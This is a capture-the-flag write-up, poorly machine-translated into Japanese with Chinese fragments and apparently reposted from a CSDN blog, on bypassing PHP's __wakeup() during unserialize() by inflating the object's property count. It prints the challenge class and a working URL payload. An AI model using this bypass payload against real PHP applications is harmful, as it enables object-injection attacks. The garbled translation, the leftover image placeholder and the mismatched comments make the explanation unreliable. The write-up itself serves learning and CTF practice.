攻撃的かつ防御的な世界のunserialize3学習

【点検ポイント】
①_wakeup()フィルター機構を
バイパス②シリアライズ・デシリアライズの原理と形式
クラスコードのシリアライズ方法の使用④2つの
関数

serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

【ナレッジポイント】
①シリアライズ後
の形式公開シリアライズ後の形式は、データ型:属性名長:「属性名」、データ型:属性値長:「属性値」
②デシリアライズとウェイクアップ機能関係
unserialize()が実行されると、最初に__wakeup()が呼び出され、シリアル化
された文字列の属性値の数が属性の数よりも多い場合、逆シリアル化例外が発生し、次の
ような__wakeup()がスキップされます

如正常O:4:"xctf":1:{
    
    s:4:"flag";s:3:"111";}#(即只有一个1这个属性值)
异常O:4:"xctf":2:{
    
    s:4:"flag";s:3:"111";}#即可绕过_wakeup的代码
#知识点
#O呢就是object对象的意思
#数字7代表着对象的函数名有7个占位
#然后就是对象名了
#这个数字1表示对象里有一个变量
#大括号里的s代表的是string类型还有一个i是int型

問題の分析
入力
ここに画像の説明を挿入
、flag = '111'が定義され
ていることがわかりましたこれには_wakeup()が含まれます。つまり、シリアル化と逆シリアル化に関連するトピックについて考え
ます。_wakeup()をバイパスするため、シリアル化する
必要があります。 、タイプ値を変更して_wakeup()をバイパスする目的を達成するため
、コードを完成させます

<?php
class xctf{
    
    
public $flag = '111';
public function __wakeup(){
    
    
exit('bad requests');
}}
$x=new xctf();
echo serialize($x);
?>

次に
O:4: "xctf":1:{s:4: "flag"; s:3: "111";}を
取得し、タイプの値を2に変更します
O:4: "xctf":2:{s:4 : "Flag"; s:3: "111";}
ペイロードの構築
/?code = O:4: "xctf":2:{s:4: "flag"; s:3: "111";}が
正常にバイパスされましたパス

もう一つの例

<?php
$x='';
print (serialize("$x"));
?>
#s:0:"";

おすすめ

転載: blog.csdn.net/qq_33942040/article/details/108015147